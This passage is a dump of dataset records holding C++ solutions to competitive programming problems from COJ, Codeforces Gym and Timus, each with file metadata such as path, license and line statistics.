{\n\tscanf(\"%d\", &n);\n\tint ans = 0;\n\twhile (n--) {\n\t\tscanf(\"%d\", &x);\n\t\tans ^= x;\n\t}\n\tprintf(\"%d\\n\", ans);\n}" }, { "alpha_fraction": 0.48962655663490295, "alphanum_fraction": 0.5062240958213806, "avg_line_length": 18.657142639160156, "blob_id": "9069b578303959098e9c40eb98af0d1557abe5ec", "content_id": "16abe3a7a9b1ae809dd107e3a55f455376134217", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 723, "license_type": "no_license", "max_line_length": 82, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p2835-Accepted-s629385.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\n#define ForIt(it, M) for (typeof((M.begin())) it = M.begin(); it != M.end(); it++)\r\n\r\ntypedef long long ll;\r\nconst ll MAXN = 100005;\r\n\r\nll n, edge[MAXN], a, b;\r\nvector<pair<ll, ll> > G[MAXN];\r\nbool mark[MAXN];\r\n\r\nll dfs(ll u) {\r\n\tll ret = 0, cont;\r\n\tmark[u] = 1;\r\n\tForIt(it, G[u])\r\n\t\tif (!mark[it->first]) {\r\n\t\t\tcont = 1 + dfs(it->first);\r\n\t\t\tedge[it->second] = cont * (n - cont);\r\n\t\t\tret += cont;\r\n\t\t}\r\n\treturn ret;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> n;\r\n\tfor (ll i = 1; i < n; i++) {\r\n\t\tcin >> a >> b;\r\n\t\tG[a].push_back(make_pair(b, i));\r\n\t\tG[b].push_back(make_pair(a, i));\r\n\t}\r\n\tdfs(1);\r\n\tfor (int i = 1; i < n; i++) cout << edge[i] << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.4356992244720459, "alphanum_fraction": 0.46240338683128357, "avg_line_length": 20.89230728149414, "blob_id": "1b03dcddcae41c592d5d50fd52081286b0f91dd3", "content_id": "7c61091f038678c58e5e5b20de13803bc84f94d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1423, "license_type": "no_license", "max_line_length": 115, "num_lines": 65, "path": "/Codeforces-Gym/101116 - 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)\n// 101116A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint n, k;\n\t\tcin >> n >> k;\n\t\tvector <int> c(n);\n\t\tvector <vector <int> > v(n);\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> c[i];\n\t\t\tv[i].resize(c[i]);\n\t\t\tfor (int j = 0; j < c[i]; j++) {\n\t\t\t\tcin >> v[i][j];\n\t\t\t}\n\t\t\tsort(v[i].begin(), v[i].end());\n\t\t}\n\t\tset <pair <int, vector <int> > > S;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tint sum = 0;\n\t\t\tfor (int i = 0; i < n; i++) {\n\t\t\t\tsum += v[i][0];\n\t\t\t}\n\t\t\tS.insert(make_pair(sum, vector <int> (n, 0)));\n\t\t}\n\t\tvector <int> ans;\n\t\twhile (true) {\n\t\t\tpair <int, vector <int> > p = *S.begin();\n\t\t\tS.erase(S.begin());\n\t\t\tans.push_back(p.first);\n\t\t\tif (ans.size() == k) {\n break;\n\t\t\t}\n\t\t\tfor (int i = 0; i < n; i++) {\n\t\t\t\tif (p.second[i] + 1 < c[i]) {\n\t\t\t\t\tp.first = p.first - v[i][p.second[i]] + v[i][p.second[i] + 1];\n\t\t\t\t\tp.second[i]++;\n\t\t\t\t\tS.insert(p);\n\t\t\t\t\twhile (S.size() > k - ans.size()) {\n\t\t\t\t\t\tS.erase(--S.end());\n\t\t\t\t\t}\n\t\t\t\t\tp.first = p.first - v[i][p.second[i]] + v[i][p.second[i] - 1];\n\t\t\t\t\tp.second[i]--;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor (int i = 0; i < ans.size(); i++) {\n\t\t\tcout << ans[i];\n\t\t\tif (i + 1 < ans.size()) {\n\t\t\t\tcout << \" \";\n\t\t\t}\n\t\t}\n\t\tcout << \"\\n\";\n\t}\n\n}\n" }, { "alpha_fraction": 0.4696449041366577, "alphanum_fraction": 0.4810996651649475, "avg_line_length": 19.292682647705078, "blob_id": "60fe6bb8dfbbafc66f507c3a0cd721ed7abf672b", "content_id": "27cf6373e2c4174a939a6198c9e98f7061ee508a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 873, "license_type": "no_license", "max_line_length": 52, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p2609-Accepted-s630960.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\nusing namespace std;\r\n\r\ntypedef vector<int> vi;\r\ntypedef vi::iterator viit;\r\n\r\nconst int MAXN = 1005;\r\n\r\nint c, p, sol;\r\nvector<int> G[MAXN];\r\nbool dp[MAXN][MAXN], mark[MAXN][MAXN];\r\n\r\nbool DP(int a, int b) {\r\n if (a > b) swap(a, b);\r\n\tif (a == 1 || b == 1) return true;\r\n\tif (a == b) return false;\r\n\tif (mark[a][b]) return dp[a][b];\r\n\tmark[a][b] = true;\r\n\tbool r = false;\r\n\tfor (viit i = G[b].begin(); i != G[b].end(); i++) {\r\n r |= DP(a, *i);\r\n if (r) return dp[a][b] = true;\r\n\t}\r\n\treturn dp[a][b] = false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> c >> p;\r\n\tfor (int i = 0, a, b; i < p; i++) {\r\n\t\tcin >> a >> b;\r\n\t\tG[b].push_back(a);\r\n\t}\r\n\tsol = c - 1;\r\n\tfor (int i = 3; i <= c; i++)\r\n\t\tfor (int j = 2; j < i; j++)\r\n\t\t\tsol += DP(i, j);\r\n\tcout << sol << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.34878048300743103, "alphanum_fraction": 0.37439024448394775, "avg_line_length": 19.0256404876709, "blob_id": "30ef479242fb38bc1959451d4d924bb74bfb3858", "content_id": "3e430a783b5cee56f90aca2b49246cc37ada9d4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 820, "license_type": "no_license", "max_line_length": 51, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p2827-Accepted-s607789.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <vector>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\nconst ll inf = (ll)1e18;\r\nll f[1000000],n, m;\r\nvector<ll> sol;\r\n\r\nint main() {\r\n f[1] = 1ll;\r\n f[2] = 1ll;\r\n int last = 0;\r\n for (int i = 3; ; i++) {\r\n f[i] = f[i - 1] + f[i - 2];\r\n if (f[i] > inf) break;\r\n last = max(last, i);\r\n }\r\n\r\n ll n;\r\n while (cin >> n) {\r\n int ind = last;\r\n ll m = n;\r\n sol.clear();\r\n while (m) {\r\n while (f[ind] > m) ind--;\r\n sol.push_back(f[ind]);\r\n m -= f[ind];\r\n }\r\n cout << n << \" = \";\r\n for (int i = sol.size() - 1; i >= 0; i--) {\r\n cout << sol[i];\r\n if (i != 0) cout << \" + \";\r\n else cout << endl;\r\n }\r\n }\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3587896227836609, "alphanum_fraction": 0.4020172953605652, "avg_line_length": 14.92682933807373, "blob_id": "ff98aa2ca5864eda6815782a557f85f88978eb8b", "content_id": "24b7a249c28012fc41998308f772b1bea5f1dc5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 694, "license_type": "no_license", "max_line_length": 52, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p3624-Accepted-s956744.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000009;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\nconst int N = 105;\r\nconst int R = 25;\r\n\r\nint n, t, r;\r\nint dp[N][N][R];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> t >> r;\r\n\tdp[0][0][0] = 1;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint x;\r\n\t\tcin >> x;\r\n\t\tfor (int j = 0; j <= t; j++) {\r\n\t\t\tfor (int k = 0; k < r; k++) {\r\n\t\t\t\tdp[i + 1][j][k] = dp[i][j][k];\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int j = 0; j < t; j++) {\r\n\t\t\tfor (int k = 0; k < r; k++) {\r\n\t\t\t\tadd(dp[i + 1][j + 1][(k + x) % r], dp[i][j][k]);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << dp[n][t][0] << \"\\n\";\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.4345991611480713, "alphanum_fraction": 0.4556961953639984, "avg_line_length": 13.800000190734863, "blob_id": "c86d6953cf28e90c53b3f79f426122d715ce9521", "content_id": "dae8167d3d22f73548c638ed6f48da9a87ea6b11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 237, "license_type": "no_license", "max_line_length": 53, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2439-Accepted-s489259.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cmath>\r\nusing namespace std;\r\ndouble l,t;\r\nint c;\r\nint main()\r\n{\r\n cin >> c;\r\n while(c--)\r\n {\r\n cin >> l >> t;\r\n cout << (int)(log(t/l)/log(5.0/3.0)) << endl;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3751537501811981, "alphanum_fraction": 0.407134085893631, "avg_line_length": 16.9069766998291, "blob_id": "4c22745115f615cd40b060e8ead5b1bed9159705", "content_id": "90c5d2843c82c41d9cb1c0450a70687b62dd81b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 813, "license_type": "no_license", "max_line_length": 46, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p3401-Accepted-s879178.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nstring a, b;\r\n\r\nint pi[N];\r\n\r\nvector <int> match;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> a >> b;\r\n\tfor (int i = 1, j = 0; i < b.size(); i++) {\r\n\t\twhile (j > 0 && b[i] != b[j]) j = pi[j - 1];\r\n\t\tif (b[i] == b[j]) j++;\r\n\t\tpi[i] = j;\r\n\t}\r\n\tb += \"#\";\r\n\tfor (int i = 0, j = 0; i < a.size(); i++) {\r\n\t\twhile (j > 0 && a[i] != b[j]) j = pi[j - 1];\r\n\t\tif (a[i] == b[j]) j++;\r\n\t\tif (j == b.size() - 1) {\r\n\t\t\tmatch.push_back(i - b.size());\r\n\t\t}\r\n\t}\r\n\tif (match.size() == 0) {\r\n\t\tcout << \"0\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\tint ans = 1;\r\n\tint r = match[0] + b.size() - 1 - 1;\r\n\tfor (int i = 1; i < match.size(); i++) {\r\n\t\tif (match[i] > r) {\r\n\t\t\tans++;\r\n\t\t\tr = match[i] + b.size() - 1 - 1;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.451127827167511, "alphanum_fraction": 0.4611528813838959, "avg_line_length": 15.34782600402832, "blob_id": "29987e980d7cc40a8f9d6ce800765dbba0e87f9e", "content_id": "f283e03d925ba5566ade13483a6df451fb0bbd14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 399, "license_type": "no_license", "max_line_length": 31, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p2871-Accepted-s622168.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nstring str;\r\nint a, b, c;\r\nll sol;\r\nmap<pair<int, int>, ll > m;\r\npair<int, int> p;\r\n\r\nint main() {\r\n\tm[make_pair(0, 0)] = 1ll;\r\n\tcin >> str;\r\n\tfor (int i = 0; str[i]; i++) {\r\n\t\ta += str[i] == 'a';\r\n\t\tb += str[i] == 'b';\r\n\t\tc += str[i] == 'c';\r\n\t\tp = make_pair(a - c, b - c);\r\n\t\tsol += m[p]++;\r\n\t}\r\n\tcout << sol << endl;\r\n}\r\n" }, { "alpha_fraction": 0.4418146014213562, "alphanum_fraction": 0.4615384638309479, "avg_line_length": 13.84375, "blob_id": "b5c61a9b1d7b0e37e658de6a8dfe229a3aaa49dd", "content_id": "b50cd28e5cf2768b1211db5a40c535805d5f55cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 507, "license_type": "no_license", "max_line_length": 38, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p3811-Accepted-s1107629.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n, x;\r\n\tcin >> n >> x;\r\n\r\n\tconst int N = 2024;\r\n\tvector <bool> found(N);\r\n\r\n\tvector <int> values(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> values[i];\r\n\t}\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = i + 1; j < n; j++) {\r\n\t\t\tif (found[values[i] ^ values[j]]) {\r\n\t\t\t\tcout << \"YES\\n\";\r\n\t\t\t\treturn 0;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfound[values[i] ^ x] = true;\r\n\t}\r\n\tcout << \"NO\\n\";\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.3910690248012543, "alphanum_fraction": 0.42354533076286316, "avg_line_length": 19.735294342041016, "blob_id": "419a7e6a5c1e8fa3e6d47ad198b31c3ad86d2235", "content_id": "1856951935fb9f9a8385e9bafa7fd401fdd95e8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 739, "license_type": "no_license", "max_line_length": 48, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p3011-Accepted-s705288.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <cassert>\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst int N = 1120;\r\n\r\nbool criba[N + 5];\r\nvector<int> p;\r\n\r\nLL dp[N + 5][30];\r\nint a, b;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tfor (int i = 2; i * i <= N; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= N; j += i)\r\n\t\t\t\tcriba[j] = true;\r\n\tfor (int i = 2; i <= N; i++)\r\n\t\tif (!criba[i]) p.push_back(i);\r\n\r\n dp[0][0] = 1;\r\n for (int i = 0; i < p.size(); i++)\r\n for (int j = N; j >= p[i]; j--)\r\n for (int k = 14; k > 0; k--)\r\n dp[j][k] += dp[j - p[i]][k - 1];\r\n while (cin >> a >> b && (a | b)) {\r\n \tassert(a <= 1120 && b <= 14);\r\n \tcout << dp[a][b] << \"\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3798449635505676, "alphanum_fraction": 0.44961240887641907, "avg_line_length": 17.600000381469727, "blob_id": "d02f487a55fbacfbc57d82677242285cf3d119a0", "content_id": "96caf0fa8f5cb05a619dd7a78927d2e8d05a85d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 387, "license_type": "no_license", "max_line_length": 41, "num_lines": 20, "path": "/Timus/1225-6163030.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1225\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nlong long n, dp[50][5];\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tdp[1][0] = 1;\r\n\tdp[1][1] = 1;\r\n\tfor (int i = 2; i <= n; i++) {\r\n\t\tdp[i][0] = dp[i - 1][1] + dp[i - 2][1];\r\n\t\tdp[i][1] = dp[i - 1][0] + dp[i - 2][0];\r\n\t}\r\n\tcout << dp[n][0] + dp[n][1] << \"\\n\";\r\n}" }, { "alpha_fraction": 0.46327683329582214, "alphanum_fraction": 0.5141242742538452, "avg_line_length": 10.642857551574707, "blob_id": "d4ef263e905fc8d7a14128e2816650a85f7d1883", "content_id": "4e378539594522cbb7ec0fc468bc30c58c4efb45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 177, "license_type": "no_license", "max_line_length": 32, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2699-Accepted-s550459.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXL 30\r\n\r\ndouble sum,aux;\r\n\r\nint main(){\r\n\r\n\tfor(int i=1; i<=30; i++){\r\n\t\tscanf(\"%lf\",&aux);\r\n\t\tsum+=aux;\r\n\t}\r\n\r\n\tprintf(\"%.3lf\\n\",sum+sum/30.0);\r\n}\r\n" }, { "alpha_fraction": 0.4303571283817291, "alphanum_fraction": 0.45892858505249023, "avg_line_length": 14.969696998596191, "blob_id": "b36c794b1da1938b9438f1ca30ed8009f1a39cd8", "content_id": "f385e79d3215e7a1ec4959bc6a2155b532bee9ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 560, "license_type": "no_license", "max_line_length": 32, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p2471-Accepted-s638436.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005;\r\n\r\ntypedef long long ll;\r\n\r\nll n, m, t[MAXN], sol;\r\n\r\nll f(ll x) {\r\n\tll r = 0;\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tr += (x / t[i]);\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n >> m;\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tcin >> t[i];\r\n\tll lo = 0, hi = 1e18, mid, v;\r\n\twhile (lo + 1 < hi) {\r\n\t\tmid = (lo + hi + 1) >> 1;\r\n\t\tv = f(mid);\r\n\t\tif (v >= m) sol = hi = mid;\r\n\t\telse lo = mid;\r\n\t}\r\n\tcout << sol << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.3551281988620758, "alphanum_fraction": 0.3987179398536682, "avg_line_length": 20.285715103149414, "blob_id": "ccd610a8714e0b8afe7e1a3a0e0e042ca6d5b094", "content_id": "9da6c69814b77d99363fb7851a0485f31fef791f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 780, "license_type": "no_license", "max_line_length": 62, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p1396-Accepted-s688831.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long LL;\r\n\r\nint tc, n, k;\r\nLL dp[101][101][101];\r\n\r\nLL solve(LL n, LL k) {\r\n\tif ((n & 1LL) || (k == 0)) return 0;\r\n\tfor (int i = 0; i <= n; i++)\r\n\t\tfor (int j = 0; j <= n; j++)\r\n\t\t\tfor (int l = 0; l < k; l++)\r\n\t\t\t\tdp[i][j][l] = 0;\r\n\tdp[0][0][0] = 1LL;\r\n\tfor (LL i = 0; i < n; i++)\r\n\t\tfor (LL j = 0; j <= n / 2; j++) {\r\n\t\t\tfor (LL l = 0; l < k; l++) {\r\n\t\t\t\tdp[i + 1][j + 1][(l + (1LL << i) % k) % k] += dp[i][j][l];\r\n\t\t\t\tif (i != n - 1) dp[i + 1][j][l] += dp[i][j][l];\r\n\t\t\t}\r\n\t\t}\r\n\treturn dp[n][n / 2][0];\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> tc;\r\n\tfor (int i = 1; i <= tc; i++) {\r\n\t\tcin >> n >> k;\r\n\t\tcout << \"Case \" << i << \": \" << solve(n, k) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3559870421886444, "alphanum_fraction": 0.3867313861846924, "avg_line_length": 16.176469802856445, "blob_id": "81888aa1298b8c5baa56e7f404035b888ebfd29e", "content_id": "ae127eb08f96480fbc5ba9f2ea854d7c1d38c906", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 618, "license_type": "no_license", "max_line_length": 52, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p3423-Accepted-s898659.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t, n, k, a[1000];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> k;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t}\r\n\t\tsort(a, a + n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\ta[n + i] = 360 + a[i];\r\n\t\t}\r\n\t\tint ans = -1;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tint cur = i;\r\n\t\t\tint cnt = 0;\r\n\t\t\twhile (cur < 2 * n && a[cur] < 360 + a[i]) {\r\n\t\t\t\tcnt++;\r\n\t\t\t\tcur = upper_bound(a, a + 2 * n, a[cur] + k) - a;\r\n\t\t\t}\r\n\t\t\tif (ans == -1 || cnt < ans) {\r\n\t\t\t\tans = cnt;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.40619224309921265, "alphanum_fraction": 0.43530499935150146, "avg_line_length": 15.646153450012207, "blob_id": "2f577573b35b741806a67eba61bf4dedb464d1b8", "content_id": "06796679cbdc5aa3d8063c34d6c73da9607e60c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2164, "license_type": "no_license", "max_line_length": 71, "num_lines": 130, "path": "/COJ/eliogovea-cojAC/eliogovea-p3965-Accepted-s1200427.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 250 * 1000 + 10;\nconst int INF = 1e9;\n\nint n, m, k;\npair <int, int> v[N];\nint kk[N];\n\nint val[N];\n\nint mx[4 * N];\nint mn[4 * N];\n\nint add[4 * N];\n\nvector <int> ins[N];\nvector <int> rem[N];\n\nvoid build(int x, int l, int r) {\n\tmx[x] = 0;\n\tmn[x] = 0;\n\tadd[x] = 0;\n\tif (l != r) {\n\t\tint m = (l + r) >> 1;\n\t\tbuild(2 * x, l, m);\n\t\tbuild(2 * x + 1, m + 1, r);\n\t}\n}\n\ninline void push(int x, int l, int r) {\n\tif (add[x] > 0) {\n\t\tmx[x] += add[x];\n\t\tmn[x] += add[x];\n\t\tif (l != r) {\n\t\t\tadd[2 * x] += add[x];\n\t\t\tadd[2 * x + 1] += add[x];\n\t\t}\n\t\tadd[x] = 0;\n\t}\n}\n\ninline void update(int x, int l, int r, int ul, int ur) {\n\tpush(x, l, r);\n\tif (l > ur || r < ul) {\n\t\treturn;\n\t}\n\tif (ul <= l && r <= ur) {\n\t\tadd[x]++;\n\t\tpush(x, l, r);\n\t} else {\n\t\tint m = (l + r) >> 1;\n\t\tupdate(2 * x, l, m, ul, ur);\n\t\tupdate(2 * x + 1, m + 1, r, ul, ur);\n\t\tmx[x] = max(mx[2 * x], mx[2 * x + 1]);\n\t\tmn[x] = min(mn[2 * x], mn[2 * x + 1]);\n\t}\n}\n\nvoid query(int x, int l, int r, int ql, int qr, int & _mx, int & _mn) {\n\tpush(x, l, r);\n\tif (l > qr || r < ql) {\n\t\treturn;\n\t}\n\tif (ql <= l && r <= qr) {\n\t\t_mx = max(_mx, mx[x]);\n\t\t_mn = min(_mn, mn[x]);\n\t} else {\n\t\tint m = (l + r) >> 1;\n\t\tquery(2 * x, l, m, ql, qr, _mx, _mn);\n\t\tquery(2 * x + 1, m + 1, r, ql, qr, _mx, _mn);\n\t}\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tcin >> n >> m >> k;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> v[i].first;\n\t\tv[i].second = i;\n\t}\n\n\tfor (int i = 0; i < k; i++) {\n\t\tcin >> kk[i];\n\t\tkk[i]--;\n\t}\n\n\tsort(v, v + n);\n\n\tbuild(1, 0, n - 1);\n\n\tfor (int id = 0; id < n; id++) {\n\t\tint x = v[id].first;\n\t\tint i = v[id].second;\n\t\tint _mx = -INF;\n\t\tint _mn = INF;\n\n\t\tquery(1, 0, n - 1, max(0, i - m + 1), min(i, n - m), _mx, _mn);\n\n\t\tins[_mn].push_back(x);\n\t\trem[_mx].push_back(x);\n\n\t\tupdate(1, 0, n - 1, max(0, i - m + 1), min(i, n - m));\n\t}\n\n\n\tset <int> active;\n\tfor (int i = 0; i < m; i++) {\n\t\tfor (auto x : ins[i]) {\n\t\t\tactive.insert(x);\n\t\t}\n\t\tval[i] = *active.rbegin();\n\t\tfor (auto x : rem[i]) {\n\t\t\tactive.erase(active.find(x));\n\t\t}\n\n\t}\n\n\tfor (int i = 0; i < k; i++) {\n\t\tcout << val[kk[i]];\n\t\tif (i + 1 < k) {\n\t\t\tcout << \" \";\n\t\t}\n\t}\n\tcout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3689567446708679, "alphanum_fraction": 0.4113655686378479, "avg_line_length": 16.086956024169922, "blob_id": "953d7c328334519d1f62dd661e9f4cd6410059d0", "content_id": "0f13cb4e95fc7753a1c5f0c828c1256875819465", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1179, "license_type": "no_license", "max_line_length": 63, "num_lines": 69, "path": "/Codeforces-Gym/100523 - 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7\n// 100523H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint n;\n\tstring s;\n\tcin >> n >> s;\n\tvector <int> H(n, 0);\n\tvector <int> M(n, 0);\n\tH[0] = 1;\n\tM[0] = 1;\n\tfor (int i = 0; i < n - 1; i++) {\n\t\tif (s[i] == 'H') {\n\t\t\tH[i + 1]++;\n\t\t} else {\n\t\t\tM[i + 1]++;\n\t\t}\n\t}\n\tfor (int i = 1; i < n; i++) {\n\t\tH[i] += H[i - 1];\n\t\tM[i] += M[i - 1];\n\t}\n\tint posH = 0;\n\twhile (H[posH] > 1) {\n\t\tif (posH + 1 == H.size()) {\n\t\t\tH.push_back(0);\n\t\t}\n\t\tH[posH + 1] += H[posH] / 2;\n\t\tH[posH] %= 2;\n\t\tposH++;\n\t}\n\tint posM = 0;\n\twhile (M[posM] > 1) {\n\t\tif (posM + 1 == M.size()) {\n\t\t\tM.push_back(0);\n\t\t}\n\t\tM[posM + 1] += M[posM] / 2;\n\t\tM[posM] %= 2;\n\t\tposM++;\n\t}\n\tif (H.size() > M.size()) {\n\t\tcout << \"H\\n\";\n\t} else if (M.size() > H.size()) {\n\t\tcout << \"M\\n\";\n\t} else {\n\t\tbool eq = true;\n\t\tfor (int i = H.size() - 1; i >= 0; i--) {\n\t\t\tif (H[i] != M[i]) {\n eq = false;\n\t\t\t\tif (H[i] > M[i]) {\n\t\t\t\t\tcout << \"H\\n\";\n\t\t\t\t} else {\n\t\t\t\t\tcout << \"M\\n\";\n\t\t\t\t}\n break;\n\t\t\t}\n\t\t}\n\t\tif (eq) {\n cout << \"HM\\n\";\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.39545759558677673, "alphanum_fraction": 0.42017367482185364, "avg_line_length": 26.72222137451172, "blob_id": 